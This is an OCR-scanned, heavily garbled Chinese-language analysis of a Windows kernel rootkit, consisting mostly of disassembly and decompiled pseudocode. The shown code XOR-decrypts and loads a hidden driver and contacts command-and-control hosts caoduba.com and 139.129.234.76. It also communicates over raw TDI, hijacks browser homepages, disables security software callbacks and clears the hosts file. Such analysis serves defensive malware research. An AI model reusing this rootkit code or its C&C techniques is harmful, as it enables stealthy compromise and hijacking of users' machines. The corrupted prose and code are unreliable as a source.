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Rootkit loader

BackDoor image data Encrypted by XOR 0xC0
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HAIKENTE ntoskrnl FIRERIMNIZIAT. 2B E is_virus_load E—MFIC , BIEHENKENEREH

A9 RegistryPath 222779 NULL #ITRE /oM BT EMRET ST, W TER:

;5 _ int6h _ fastcall entry{PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
entry proc near ; CODE XREF: DriverEntry+19}j
; DATA XREF: .pdata:ExceptionDirjo

push rbx

sub rsp, 26h

nou rbx, rdx

call load_fake_ntoskrnl_safe

nou edx, offset virus_data_size

lea rcx, virus_data buffer

test rbx, rbx

jnz short loc_1182E

nou cs:is_virus_load, 1 /f/ &BEEMESEEHSIIEENEE

loc_1182E: ; CODE XREF: entry+1DTj
load_rootkit
eax, eax
¥sp, 206h
rbx

INERRIX AN R EN D

(—) EEHLINZEL ntoskrnl

load_fake_ntoskrnl_safe BREIEEISEIAINEFHY ntoskrnl & , HEHITREMNNEZIEZE 55
BIRNFRRFINERY ntoskrnl 1EHRET 0x200 MFTHEUBHITELE , MTIFIETE SEIEEAY ntoskrnl SFIGEARE

RRIEE. WTEM :

load_fake_ntoskrnl_safe proc near ; CODE XREF: entry+9Tp
; DATA XREF: .pdata:808068060A88298A8L0

arg_n = quord ptr 8

mow [rsp+arg_8], rbx

push rdi

sub rsp, 26h

lea r8, ptr_fake_ntoskrnl_mapping_buffer
lea rdx, mdl_of ntoskrnl_mapping

lea rc®, fake_ntoskrnl_mapping

call load_fake_ntoskrnl

mow rc¥, cs:origin ntoskrnl_HappedBase ; Sourcel
®or ebx, ebx

mou edi, eax

cmp rcH, rbx

jz short loc_12157

mow rd®, cs:fake_ntoskrnl_mapping ; Source2
cmp rdx, rbx

jz short loc_ 12157

mov r8d, 280h s Length

call cs:RtlCompareHemory

cmp rax, 206h

setz bl

mou cs:is load_fake ntoskrnl_suscess, ebx

loc_12157: ; CODE XREF: load_fake_ntoskrnl_safe+327]j
; load_fake_ntoskrnl_safe+3Ef]

mou eax, edi
mow rbx, [rsp+28h+arg_8]
add rsp, 26h
pop rdi
retn
load_fake_ntoskrnl_safe endp

U JsE YY) E=E sy A
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int load fake_ntoskrnl()

__inté4 ntoskrnl_file_content; // rsi@1

__intés pe_nt_hdr; // rbx@3

size_t size_of_image; // r12@8

BYTE *image_buffer; /f rax@8

BYTE #u4; // rbpES

void #ptr_fake_ntoskrnl_mapping; // rdi@11
__int&h u7; /7 [Sp+6h] [bp-98h]@12

DUORD data_length; // [sp+2Bh] [bp-78h]@i

void *fake_ntoskrnl_cache; // [sp+28h] [bp-78h]@1
__intés mdl_of_fake_ntoskrnl; // [sp+38h] [bp-68h]@1
char _append_root_sys32; // [sp+3Fh] [bp-5%h]E1
char ntoskrnl_path; /7 [sp+48h] [bp-58h]@1
__intéh v13; 7/ [sp+86h] [bp-18h]@i2

fake_ntoskrnl_cache

ndl_of_fake_ntoskrnl

data_length

get_real string{“\bDCOD:\\SystenRoot\\System32\\", &ntoskrnl path, Ox3Cuié4);
get_ntoskrnl_full _name(& append root sys32 + strlen(&ntoskrnl path) + 1);
ntoskrnl_file content = get file_data(&ntoskrnl_path, &data_length);

if ( ntoskrnl_file content )

if ( *=(_WORD =)ntoskrnl_file_content == @x5A4D )
{
pe_nt_hdr = ntoskrnl_file_content + =(_DWORD =)(ntoskrnl_file_content + offsetof({IMAGE_DOS_HEADER, e_lfanew));
if ( *(_DWORD *)pe_nt_hdr ?= Bx4550 )
qoto LABEL,

else

{
pe_nt_hdr = Biéu;

3
if { pe_nt_hdr )

size_of_image *{_DWORD =)(pe_nt_hdr + B8x58);

image_buf fer (BYTE *)ExAllocatePoolWithTag(8, (unsigned int)(size of_image + 6x1888), 'PELD');
v4 = image_buffer;

if ( image_buffer )

if { (signed int)protect_memn_address{
image_buffer,
size of_image,
{PHMDL)&nd1l_of_fake_ntoskrnl,
&fake_ntoskrnl_cache) >= 8 )

ptr_fake_ntoskrnl_mapping = fake_ntoskrnl_cache;
menset(fake_ntoskrnl_cache, 8, size_of_image);
mencpy(ptr_fake_ntoskrnl_mapping, (const void =)ntoskrnl_file_content, =(_DWORD =*)(pe_nt_hdr + 0x54));
pe_mapping({BYTE *)ptr_fake_ntoskrnl_mapping, (BYTE *)ntoskrnl_file_content
fix_pe_relocation{ptr_fake_ntoskrnl_mapping, origin_ntoskrnl_MappedBase);
port_table(ptr_fake_ntoskrnl_mapping, pe_nt_hdr);
ExFreePoolWithTag{(PUDID)ntoskrnl_file_content, 8);
fake_ntoskrnl_mapping = ptr_fake_ntoskrnl_mapping;
md1l_of_ntoskrnl_mapping mdl_of_fake_ntoskrnl;
ptr_fake_ntoskrnl_mapping_buffer = (__intéu)us;
¥
else
{
ExFreePoolWithTag((PU0ID)ntoskrnl_file_content, 8);
ExFreePoolWithTag(uh, 8);
>
return check_stack{{unsigned __ inté4)&u7

H

vi3);

b
LABEL_7:
ExFreePoolWithTag{(PUDID)ntoskrnl_file content, 8);
3

return check_stack{{unsigned __into4)&u7

vi3d);

BERLINE ntoskrnl

(Z) RN )i

load_rootkit FREISIEIS SEEIMBRET ntoskrnl fHEAFSEINFEIERRSE. HERNRGERERRS
8 0xCO NI TR , ZRHEFRRSEIERTRE | ZEXNZIKa TIREIFHEE SNFIEENE

£, BiE@idiEA ExQueueWorkltem BREFITHESIREIAL. N TEFR :
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load_rootkit

BaseAddress
8

ar

Henorybescriptorlis

mou

decrypted_xor_BxCO:
wor
inc
sub
nz
and
ELL
mou
cnp
jnz
mousxd
EL L
cnp
jnz
imp

loc_116A1:

loc_116A3:

loc_116EQ:

call_rootkit_entrypoin
mou
add
jz

loc_111BB:

load_rootkit

ROOTKIT

proc near

= quord ptr 8
quord ptr
quord ptr

180
18h

[rsp+arg 8], rbx
[rsp+Basefddress], rcx

26h
virus_data_buffer

, 0ffset virus_data size
ri2

CODE XREF: lnaﬂil‘nntkittzﬂlj
ptr [rax], 8C6h
rax
rex, 1
short decrypted xor OxCO
[rsp+38h+Basenddress], rcx
[rsp+38h+MemoryDescriptorList], rex
eax, 5A4Dh
cs:virus_data_buffer, ax
short loc_110A1
rbx, cs:NT_header_sign
rbx, r1z
duord ptr [rbx], 4556h
loc_111BB

short loc_118A3

; CODE XREF: load_rootkitsh
ebx, ebx

; CODE XREF: load_rootkit+5BTj
rbx, rbx
loc_111B8
esi, [rbx+IHAGE_NT_HEADERS.OptionalHeader.SizeOfImage]
eCK, ecx PoolType
r8d, 'PELD’ ; Tag
edx, [rsi+1000n] ; MunberOfBytes
cs:ExfllocatePooltithTag
rdi, rax
rax, rax
loc_111BB
r®, [rsp+38h+BaseAddress] ; ptr_men_map_address
v8, [rsp+ashslienoryDescriptorList] ;3 ptr_mdl
edz, esi ; buffer_length
rcx, rax ; buffel
protect mem_address
edz, edx ; val
eax, eax
short load_pe

; CODE XREF: load_
rcx, rdi i P
cs:ExFreePoolWithTag
loc_111BB

; CODE XREF: load_rootkit+:
Size
[rsp+38h+Basenddress]
vex, rsi ; Dst
menset
v8d, [rbx+IHAGE_NT_HEADERS.OptionalHeader Size0fHeaders]
rdx, ri2 ; Sre
rcx, rsi i Dst
mencpy
r8, rbx ; nt_header
rdx, riz ; file_buffer
rex, rsi ; mapping_buffer
pe_mapping
rdx, rsi
rcx, rsi
fix_pe_relocation
vdx, rbx

cx, rsi
fix_import_table ; rc
eax, eax

short call_rootkit_entrypoint

ntoskrnl mapping base

vbx, [rsp+38h+HemoryDescriptorlist]
vex, rsi ; BaseAddress

rdx, rbx ; HemoryDescriptorList
cs:iMmUnmapLockedPages

vex, rbx ; HemoryDescriptorList
cs:HnlinlockPages
rex, rbx H
cs:IoFreetdl
edx, edx

short loc_116E9

Hd1

; CODE XREF: load_rootkit+F8ij
edi, [rbx+IMAGE_NT_HEADERS.OptionalHeader_addressOfFEntryPoint]
rdi, rsi

; PoolType
; NumberOfBytes
xAllocatePoolWithTag
rbx, rax
rax, rax
short loc_111BB
v8, rsi ; Size
edz, edx ; val
rcx, rax ; Dst
memset
[rbx+WORK_QUEUE_ITEH.List.Flink], 8
rex, call_entrypoint_uorkitem ch
[+bx+WORK_QUEUE_ITEW. VlorkerRoutine], rcx
edx, [rsi-3Eh] ; QueueType
rcx, rbx ; WorkItem
[Fbx+WORK_QUEUE_ITEM.ext_parameter], rdi
[rbx+WORK_QUEUE_ITEH.Parameter], rbx
cs:ExQueueliorkIten

; CODE XREF: load
; load_rootkit+627j

aL, 1

rbx, [rsp+3shrarg 8]

sp, 26h

r12

rdi

rsi

JIlIE=75sE==L o)
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FERTRIER ExQueueWorkltem BEIETENAI WORK_QUEUE ITEM LR SR aMINEE , LA

A%, MR RAESINEIKEIR AN O R, INTFERTR

; __intés _ fastcall call_entrypoint_workitem_cb{PUDID P}
call_entrypoint_workitem cb proc near ;3 DATA XREF: 1uad_ruutkit+158?u
; -pdata:00000000000290C6L0
push rhx
sub rsp, 268h
nov rbx, rcx
call cs:MmIsAddressValid
test al, al
jz short loc_1312¢
cnp €s:1s_uirus_loaded, @
rax, [rbx+WORK_QUEUE_ITEM.ext_parameter] /7 ZRERA=tbht
rcx, external_proc
short is_normal_loading
edx, edx
short call_entrypoint

is_normal_loading: ; CODE XREF: call_entrypoint_workitem cb+25Tj
nov edx, 1

call entrypoint: : CODE XREF: call_entrypoint_workitem cb+297j
rax 7/ ATENIEEEEI A L]
edx, “KFLY" 3 lag
rcx, rbx ; P
cs:ExFreePoolWithTag

loc_1312C: ; CODE XREF: call_entrypoint_uworkitem cb+117j
add rsp, 28h
pop rbx
retn

call entrypoint_workitem cb endp

PATIRALD

=1l

ZHESHITE , &SR WittsS CRC IRSEEE (1845 : caoduba.com 8 139.129.234.76 , i&ifim[ : 7897 ) i#

1TEW. REEREET P UEZRE |, S TERF

or 108, OFFFFFFFFFFFFFFFFh

xor eax, eax

lea +9, str_caoduba_com ; “fdrgxedifrp”

moy rdi, r9

moy rex, r18

xor r8d, r8d

repne scash

not rox

cmp rcx, rbp

jz short loc_11348
-text:000660000001131C mou rdx, r9

decrypt_caoduba_com: ; CODE XREF: entry+86y]
add byte ptr [rdx], BFDh
xor eax, eax
add r8d, ebp
moy rex, r18
moy rdi, r9
add rdx, rbp
repne scash
moy eax, rsd
not rex
sub rex, rbp
cmp rax, rex
jb short decrypt_caoduba_con

loc_11348: ; CODE XREF: entry+621j
xor eax, eax
lea F9, str_139_129_234 76 ; ".06+./6+/01+43"
moy rex, r18
mov rdi,
xor r8d, r8d
repne scasb
not rex
cmp rcx, rbp
jz short loc_11388
moy rdx, r9

decrypt_139_129 234 76: ; CODE XREF: entry+C6yj

add byte ptr [rdx], 3

xor eax, eax

add r8d, ebp

moy rcx, r18

moy rdi, r9

add rdx, rbp

repne scasb

moy eax, réd

not rex

sub rex, rbp

cmp rax, rcx
-text:0080BR0BNBA1137E jb short decrypt_139_129 234 76
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B EidfEdaS , FAITUENNER @RS METLURBERISRNEESUESFRAFER |, K7L
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PoCSoodSoo0S00000

r8, [rsp+BE8h+transport_structure] ; buf_xx
rdx, port M1 e

rex, pPsi ; dest_ip
connect_to_cc_server

eax, eax

short loc_1572D

al, al

loc_158A5

loc_1572D: XREF: transpor t_to_cc_seruerﬂ?[:?j
[rsp+BEBh+data_to_send.flag_param input], r13d
[rsp+BE8h+data_to_send.val @x48], 46h
[rsp+BE8h+data_to_send.return_information], 1

r8, [rsp+BE8h+transport structure]

edx, BCh

rcx, [rsp+BEBh+data_to_send]

tdi_send_data

eax, eax

loc_1587A

[rsp+BE8h+CC_real_ip_address_copy], @

quword ptr [rsp+BE8h+data_to_send.return_information], 8
edi, edi

[rsp+BE8h+CC_real_ip_address_copy], rdi

loc_15771: ; CODE XREF: transport_to_cc_server+1F8)j
r®, [rsp+BE8h+transport_structure]

¥8, [rsp+BESh+data to send]

edx, 18h ; Length

rcx, [rsp+BE8h+Uirtualaddress] ; Uirtualaddress
tdi_receive data

eax, eax

loc_1587A

rdi, quord ptr [rsp+B8EBh+data_to_send.return_information]
[rsp+BE8h+CC_real_ip_address_copy], rdi

rdi, 18h

short loc_ 15771
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EBINER TDI RABEREY , iEEIRS S |, T ER=

RELInitUnicodeString(&uni_device_tep, L™\\Device\\Tcp
ObjectAttributes.Length = 48;
Objectattributes.RootDirectory = mﬁu;
ObjectAttributes.Attributes
ObjectAttributes.0bjectNane = &un)iﬂwiteitcp:
ObjectAttributes.Securitybescriptor = 8i64;
ObjectAttributes.SecurityQualityfService
EA_info.NextEntry0ffset = 0;
nfo.Flags
EA_info.EaNaneLength = 163
Stropy(EA_info.Ealane, “Transportaddress™);
EA_info.Ealaluelength - 22
*(_DUORD x)((char )&aTransportaddress 2.sin_port + 1)
ORD *){({char x)&aTransportaddress _2.in_addr + 3)
ORD *)&aTransportaddress_2.sin_zero[1] = 2;
0RD *)&aTransportaddress_2.sin_zero[3] = 8;
;( _DUORD #)aTransportaddress_2.sin_zero[5] - 0;
ule = Bi6s;
iF ( ZubreateFile(
(PHANDLE)U3 + 7,
8x061000080,
&0bjectattributes,
&loStatusBlock,
8ish,
8x80u,

1;

7u) >= 8
&2 ObReferencedh jectByHandle(=((HANDLE *)u3 + 7), 0, Bi6k, 0, Baddr_object, ©iss)
<
'3 EXﬁllDEatEPvul\Jltlﬂaﬂ(“g 0x22ui6h, ‘root’);
*((_QUORD %)u3 + 6) -
if (v5)

memset(us, B, 0x22uifu);
**((_DWORD *x)v3 + 6)
*(_BVTE =) (x((_QUORD 3u3 + 6) + in) - 6;
*(_BYTE =) (*((_QWORD *)u3 + 6) + 5i64) = 17;
memcpy{ {void =) (x((_OUDRD x)u3 + 6) + 8iéh), "ConmectionContext", =(_BYTE =)(x({_QWORD x)ud + 6) + 5igh) + 1
*(_WORD %) (*((_QUORD *}u3 + 6) + 6i6k) = 8;
*(_QUORD x) (*(_BYTE ) (*{ (_QUORD
iF ( ZuCreateFile(
C(PHANDLE)U3 + oFfsetof (St_transport_tcp, field_8),
6xC06100008,
&DbjectAttributes,
&loStatusBlock,
i6h,
exgou,
1u,
1u,

%)ua + 6) + 5i64) + *((_QWORD *)us + 6) + 9ien) - 0i6u;

e,
*((PUOID *)u3 + 6),
)

ex22u)

& ObReference0bjectByHandle(
*((HANDLE *)u3 + offsetof(st_transport_tcp, Field 8)),
o,
864,

0,
CPUDID *)uZ + 4,
8i64) >= 8 )

*( (_QWORD *)u3 + 5) lnﬁstﬁslatsnDEuitEﬂnject((PFlLEiﬂBJEET)annrinnjEct
KelnitializeEvent(&Event, 8, 0);

U6 = lnnnnnneuue ToCont nllmqlmst(

x((PDEumE,mz.lEn %3 + 5),
o

o,

oi6u,

0,

1u,

&Event,

&loStatusBlock) ;

v8 = v6->Tail.Overlay.CurrentstackLocation;
*({_OUORD *)uB + BxFFFFFFFE) = Bi6h;
*({_QUORD *)u8 - 1) = ni.su:

*((_BYTE *)u8 - 69)

9 = u7->Tail.Overlay. cur entsStackLocations
*((_BYTE =)v9 - 72) = IRP_MJ_INTERNAL_DEVIGE_GONTROL;
#({_BYTE ®)u9 - 71) - TDI_ASSOCIATE_ADDRESS
*((_OUORD *)u9 - &) = =((_QHORD %)u3 + 5)3
*({_QUORD x)ud - 3) = =((_QWORD =)u3 + 4);
*((_OUORD *)u0 - 8) = *((_QWORD *)u3 + 7)3
v3:

v7->Tail.0verlay.Gurrentstacklocation;
*({_QWORD x)u10 - 2) - complete_callback_B;
*((_OWORD *)u18 - 1) = &w32;
*({_BYTE =)u10 - 69) - -32;
ui1 mn:xnn ver (x((PDEVICE_OBJECT x)u3 + 5), u7):
if ¢ vl )

I{Ellx)tFmS)ngleﬂh]ect(?(nent 0, 0, 8, Bich);
iF ¢l ] v
{

KelnitializeEvent(&event, 8, 8);
Irp = IoBuildDeviceIoGontrolRequest(

#((PDEVIGE_OBJECT %)u3d + 5),
N

nau.

1n,
event
&loStatusBlock) ;

ilg
essLength
essType
ess[0].5in_port = (v20 << 8) " HIBYTE(v20);
vemote_ip_addr .Address[0].Address[0].in_addr - (v19 << 24)
+ nun_ip_elen_8
+ (v18 (< 18)
+ (num_ip_elen_1 << 8);

note_note.RemotedddressLength = 22;

note_note.RenoteAddress enote_ip_adar;

1 p;

Irp>Tail. uve.lay cur entStackLocation;

*(( QUORD x)u22 - 2) 643
*((_QMORD ®)u22 - 1)
*((_BYTE x)u22 - 69)
v23 = u21->Tail.Overlay. l:u.- entstackLocation;
*((_BYTE *)u23 - 72) = IRP_HJ_INTERNAL_DEVICE_CONTROL;
*((_BYTE #)u23 - 71) - TDI_CONNECT;
*((_QWORD *)v23 - 4) = *({_QWORD *)ud + 5);
*((_QUORD =)}u23 — 8) = =({_QUORD =)u3 + 4);
*((_QUORD *)u23 trenote_note;
*((_QMORD *)u23 - 6)
*((_QUORD x)u23 - 5)
v32 - tevent;
uaa 6ié

i
u21->Tail.Overlay.CurrentStackLocation;
2)

*(( QUORD xju2t —

*((_QUORD *)u24 - 1)

*((_BYTE xJu24 ~ 69) ;

if ( ToFCallDriver(x{(PDEUVICE_OBJECT %)u3 + 5}, v21)
KeWaitForsingleobject (kevent, 0, 8, 0, 9i64);

mplete callback_0;

A TDI BRI HZIR S =5
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inték4 _ Fastcall tdi_send_data{_ intéh al, _ inték a2, _ intéh a3)

_ dintéa w3; sf rdiEt

_ dintéh wh; S rsiEd

MACRD_STATUS_ABANDOHNED uw5; // ebxz@1

_DWORD »u6; f/f rax@3

PIRP u7; // rsi@E3

__intéa result; 7/ rax@y

_MDL =u9; /7 rex@E5

_MDL =u1@; // rax@E7

struct _IRP::§::%::8::$A02EC6A2CERGSHUFT16FU825015773AC::_I0_STACK_LOCATION =uld1; // rax@E%
struct _IR $ADZEC6AZCERGS UL F16F 48250157 73AC ID_STACK_LOCATION =u12; // rcx@9
struct _IR $ADZEC6A2CERGSHYF716F4825015773AC: :_T0_STACK_LOCATION =u13; // rax@9
HTSTATUS vik; // esi@9

_MDL =ul5; Ff rcx@E11

struct _KEVENT =event_8; // [sp+56h] [bp-48h]E2

_ int64 vi7; 7/ [sp+58h] [bp-4Bh]E9

struct _10_STATUS BLOCK io_status block; // [sp+68h] [bp-38h]@3

struct _KEVENT Event; // [sp+70h] [bp-28h]@1

v3 = a3;
vh = al;
KeInitializeEvent(&Event, @, 8);
us = 8;
if { ={_QWORD =)v3 )
4
ExFreePoolWithTag(={PU0ID =)u3, 'root");
*(_QWORD *)u3d = Bidéh;
H
v6 = ExAllocatePoolWithTag{@, @xCuidék4, 'root');
=(_QWORD *)u3 = ud;
=(_QWORD *)ué = ={ QUORD =)ul;
ub[2] = *(_DWORD *)(u4 + offsetof(st_work_item_input, val_oxu8));
v7 = IoBuildDeviceloControlRequest(
TDI_CONMECT,
*{PDEVICE_OBJECT #*){uv3 + offsetof(st_transport_tcp, addr_device_object}),
oiGh,
a,
gioh,
a,
1u,
&Event,
&io_status_block};
if ( w7 )
{
ue = x(_MDL =*=*){u3 + offsetof(st_transport_tcp, ptr_mdl_of_work_item_input));
if { w9 )
{
IoFreeldl{uv?);
*{_QWORD *){u3 + offsetof(st_transport_tcp, ptr_mdl_of_work_item_input}) = Bi6u;
¥
v18 = JoAllocateMdl(*{PVOID *)v3, B8xCu, B, B, v¥);
*{_0QWORD =){v3 + offsetof(st_transport_tcp, ptr_mdl_of_work_item_input}) = vi8;
if ( vid )
{
MnProbeAndLockPages{v108, B, IoModifyAccess);
vl v7->Tail.Overlay.CurrentStackLocation;
*({_OWORD =)uli - 2) = BiBh;
*({_QWORD *)uid - 1) = Bi64;
*((_BYTE =)ui1 - 69) = 8;
v12 = y7->Tail.Overlay.CurrentStackLocation;
*({_BYTE =)ui2 - 72) = IRP_HJ_INTERHAL_DEUICE_ COHNTROL ;
*({_BYTE =)jui2 - 71) = TDI_SEND;
*((_QWORD *)ui12 - 4) = *(_QWORD *){u3 + offsetof(st_transport_tcp, addr_device object));
*{{_OWORD =)u12 - 3) = =(_QWORD =){u3 + offsetof{st_transport_tcp, conn_object});
*{{_DWORD =)u12 - 15)
*({_DWORD *)ul2 - 16)
v7->MdlAddress = *=(PMDL =*){u3d + offsetof(st_transport_tcp, ptr_mdl_of_work_item_input));
event_8 = &Event;
vi17 = Biak;
v13 = w?->Tail.0Overlay.CurrentStackLocation;
*=({_0OWORD =)ui13 - 2) = complete_callback 8;
*({_QWORD =)ul13 - 1) = &event_0;
*({_BYTE =)uv13 - 69) = -32;
v14 = IofCallDriver{={PDEVICE_OBJECT =}{v3 + offsetof{st_transport_tcp, addr_device_object}), v7);
if ( uih 259 )
KeWaitForSingleObject{&Event, 8, 8, 8, 0i64);
u15 = =(_HDL =*=*){u3d + offsetof(st_transport_tcp, ptr_mdl_of_work_item_input)});
if { w15 )
HMmUnlockPages{wi5);
if ( uis )
{
if { via 1= 259 )
u5 = STATUS_UNSUCCESSFU

STATUS_INSUFFIGIENT_RESOURCES;

result = uS;
H
else
{
result STATUS_INSUFFICIENT_RESOURCES ;
H
return result;

ERA TDI WEREREURIEEE
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1) =88 0x2 , SREVmSMITHCEEEH

ROOTKIT

TR

TimEEF

SiRSHENG  MmEULERREIMNPFEELE SR BRESMIFREINNas. ST FENNaEE

ENFFAOMILE, FEHIRSHRITIIEAITIFG. S TNERS

; _ inté4 _ fastcall download_option_and_hijack(PUYOID P}
download_option_and_hijack proc near 5 DATA XREF: register_dew
: download_option_and_run_renote_sys+7ETo .

| duword ptr 8
ctrl_data_buf quord ptr 16h
arg_18 quord ptr 18h

rax, rsp
[rax+18h], rsi

rdi

rsp, 26h

quord ptr [rax+18h], B

duord ptr [rax+8], @

rsi, rcx

r8, [rax+8] 3 num_of_bytes
rdx, [rax+18h] ; buf

ecx, 2 ; flag
transport_to_cc_s

al, al

short loc_12144
[rsp+28h+ctrl_data_buf], 8
short loc_12196

edx, [rsp+28h+arg_#8]

edx, edx

short loc_12181

rcx, [rsp+28h+ctrl_data_buf]

erver 1/ SR TAR SRR TS

init_virus_behav+1F2To

parse_ctrl_data ; protect startpage reg, prevent driver loading,
; reset proxy, clear up hosts.

al, al
short loc_12181
ecx, B

call_send_flag_data_to_cc_server

short loc_ 12181

/f PSR | REETTASIER] 0x8

loc_12144: 0DE XREF: download_option_and_hijack+2CTj

ecx, 28h lumber0fBytes
alloc_by_init_zero

rdi, rax

rax, rax

short loc_12181

ecx, 20088

wait

quord ptr [rdi], @

r11, download_option_and_hijack
edx, 1 ; QueueType
rcx, rdi ; WorkItem

[rdi+WORK_QUEUE_ITEH.WorkerRoutine], ri1
[rdi+WORK_QUEUE_ITEH.Parameter], rdi

cs:ExQueuellorkItem

loc_12181: ; CODE XREF: download_option_and_hijack+3CTj
; download_option_and h1]a[:k+lm|
[rsp+28h+ctrl_data_buf], @
short loc_12196
rcx, [rsp+28Bh+ctrl_data_buf] ; P
edx, edx ; Tag
cs:ExFreePoolWithTag

loc_121%6:

rsi, rsi

short loc_121A9

edx, ‘KFLY" ; Tag
rcx, rsi ; P
€5 :EXFreePoolWithTag

: CODE XREF: download_option_and_hijack+3uij
; download_option_and h1]a|:k+9H|]

loc_121A9: 5 CODE XREF: dounload_option_and_hijack+aDTj

nov rsi, [rsp+28h+arg_18]

ELD] rsp, 28h

pop rdi

retn
download_option_and_hijack endp

THEE

EEHEAARBYENEN  THZEREEFD

LUNN

Fi~

Fal 0xCO 31

THE

T3 =3
R
L)

*&;E{Kr_ Ox1CAO0 1> 3—1:1 o



LK SR AR AT

ROOTKIT

XOR_BxCO: ; CODE XREF: parse_ctrl_data+32yj
byte ptr [rax], 8G8h
rax, rsi
rex, rsi
short XOR_BxCO

loc_11D28: ; CODE XREF: parse ctrl data+22fj

edx, 1CAOh

loc_128D1

dword ptr [rbx], 7F862022h
loc_128D1

dword ptr [rbx+1C9Ch], 29535727h
loc_128D1

rcx, hijack_cc_block ; Dst
edz, edx 5 Val
r8d, 1CABh ; Size
menset

rcx, hijack_cc_block ; Dst
r8d, 1CAGh 5 size
rdx, rbx s src
mencpy

fREECE

THANGHREERST  SIEFEMSAONIERRTRE. S NXISERATAFRIMLL. FERITIRLII R

5. BREMEETNENERIERRIP IR FAEEMRIAS. NTETR :

hijack_ce_block dd 8 1/ BERRERRITIC
flag_hijack_iexplore dd @ 1 2T IE ISR

flag_hijack 368se dd © /] EEIIE 360 T
flag_hijack_gqgbrouser dd 8 // REHHFQQMEE
flag_hijack_others_brouser dd 8 // SEMSEMIIES , MK B7S
flag_hijack_switch dd 8 1] REHIEFR

virus proc_ctrl_code dd @ /7 REFRRE LR EEHBSRITRE
flag_callback_routine_visable dd 8 // 2ERREENR , MHERERES

; const WCHAR urldata_hijack_iexplore
urldata_hijack_iexplore dw 38h dup(@), 8D4h dup(?)
A

urldata_hijack_368se du 164h dup(?)

)
i
i
urldata_hijack_qqbrowser_8 dw 184h dup(?) ‘l
urldata_hijack_qgbrowser dw 184h dup(?) i
i
\
\

urldata_hijack_hao123juzi dw 104h dup(?) ' 1/ FRIA SRS
urldata_hijack_2345explorer dw 18%h dup(?)
urldata_hijack_maxthon dw 184h dup(?)
urldata_hijack_firefox dw 16sh dup(?)

urldata_hijack_theworld dw 184h dup{?}

i'
|
/

urldata_hijack_default dw 184h dup(?) &/
flag_modify_qqmgr_hmpage_protect_data dd ? // SIS PR ERAPIIHR e S
flag_modify_qqmgr_ie_protect_access dd ? SRR KRR B R
s char hijack_ggm data_1[260]
hijack_qqmgr_data_1 db 164h dup(?)
; char hijack_qqmgr_data_2[260]
hijack_gqngr_data_2 db 188h dup(?)
; char hijack_qqngr_data_3[268]
hijack_gqngr_data_3 db 18&h dup(?)
; char hijack_qqmgr_data_4[268]
hijack_qqngr_data_% db 104h dup(?) \, /AR R R R AR
s char hijack_qqmgr_data S5[260]
hijack_qqmgr_data 5 db 164h dup(?)

; char hijack_gqmgr_data_6[260]
hijack_qqmgr_data_6 db 184h dup(?)

; char hijack_qqngr_data_7[268]
hijack_qqngr_data_7 db 18sh dup(?)

; char hijack_qqmgr_data_8[268]
hijack_gqqmgr_data_s db 184h dup(?)

flag master_switch dd 7 1/ FEBETEX

M-
R
e

e,
r———,
.

.

end_hijack_cc_block dd 7 11 BORESRIFT

THHIRERNE
FERRIAERTREHAYZEE virus_proc_ctrl_code AILUEHIBSHHTHITITURIERIE | HAf
BEFEHIRIRI TR EAIAN - MFRERIKENRIBRENNEEIEFNZIZEREIE, 2l attach FERGIWESIKF) LAYIR
BiEE, AABABONERERRIFNERAFBEEXENE FYXE | FLERSENTREN
RIS T BRAAI LA—ERE LIREEFAINER, ZZEBLUMURIIFAMERTIVE | MRS

SANTEFTR
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ES) Ve gl TR

0x1 00000001  MEEBREINE EEHREE
0x2 00000010 B attach EESEMBIRNN R FHNgEHE
0x4 00000100 &% hosts 32t
0x8 00001000 7&K BHO
0x10 00010000  EEIF SRS
AERE N

{88 virus_proc_ctrl code TEEFEFHHITRE , W TFEF :
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lea rbx, thread handle
test  byte ptr csivirus_proc_ctrl_code, sil
jz Toc_11E74
cnp renoved_loadinage_cb, dil
j loc_1E74
rax, remove_loadimage_cb_and_create
[rsp+u8h+StartGontest], rdi
rod, rod
[Psp+uBhs StartRoutine], rax
¥8d, r8d
edx, edx
rox, rbx
cs:has_removed_loadinage_ch, sil
[Psp+uBheClientld], rdi
cs:PsCreatesystenThread
%, ed:

; StartGontext

; ProcessHandle
StartRoutine
Objectattributes
DesiredAccess
ThreadHandle

clientld

edi
loc_11E3%
cs:flag_master_switch, esi

cs:flag_hijack_switch, esi
short loc_11E35
remove_other_loadinage_cb_and_replace
loc_11ESu: ; CODE XREF: parse_ctrl_data+1291j
; parse_ctrl_datas131fj
rax, call_remoue_other_createproc_ch_and_i
[rsprugh+StartContext], rdi
rod, rod
[PsprughsStartRoutine], rax
r8d, rad
edx, edx
rox, rbx
[rspehSh+Clientld], rdi
cs:PsCreatesystenThread
edi

ProcessHandle
StartRoutine

; Objectattributes

; DesiredAccess

cs:flag_master_switch, esi

short loc_11E7%

cs:Flag_hijack_switch, esi

short loc_11E7%

remove_other_createproc_ch_and_reset_self
loc_11EZ4: ; CODE XREF: parse_ctrl _data+E
; parse_ctrl_data+F3tj .
byte ptr cs:virus_proc_ctrl_code, 2

hort loc_11EEC

cs:has_broken_drvs_attach_chain, dil
short loc_11EEC
rax, break_drus_attach_chain
[rspsugh+StartContext], rdi ; StartContext
r9d, rod ; ProcessHandle
[rsprugh+StartRoutine], rax ; StartRoutine
r8d, rad ; ObjectAttributes
edx, edx ; DesiredAccess
rex, rbx ; ThreadHandle
cs:has_broken_drus_attach_chain, sil
[rspr4gheClientld], rdi

; Clientld
cs:PsCreateSystenThread

cs:Flag_master_switch, esi
short loc_11EEC
cs:Flag_hijack_switch, esi
short loc_11EEC

rcx, abriverTepip
break_attach_chain

rcx, abriverAfd
break_attach_chain

rex, abriverTdx
break_attach_chain

ver\\Tepip™
ver\\AFD"
iveri\tdx

; CODE XREF: parse_ctrl datar1871j
; parse_ctrl_data+1907j

oc_
cs:has_clearup_hosts_file, dil
hort Toc_11FLS

byte ptr cs:wirus_proc_ctrl_code, 4
hort loc_11F45

rax, thread_clearup_hosts_File
[rsp+u8hsStartContext], rdi
rod, rod
[rsp+u8h+StartRoutine], ras
r8d, rad

edx, edx

rex, rbx
cs:has_clearup_hosts_file, sil
[rsp+u8h+Clientld], rdi
cs:PsCreateSystenThread

eax, edi
hort loc_11Fh5

3 StartContext

; ProcessHandle

; StartRoutine

; ObjectAttributes
; DesiredAccess

3 ThreadHandle

; Glientld

s
cs:flag_master_switch, esi
short 1oc_11F45
cs:Flag_hijack_switch, esi
short loc_11FH5
clearup_hosts_file

; GODE REF: parse_ctrl _data+1FFtj

; parse_ctrl_datas20 z

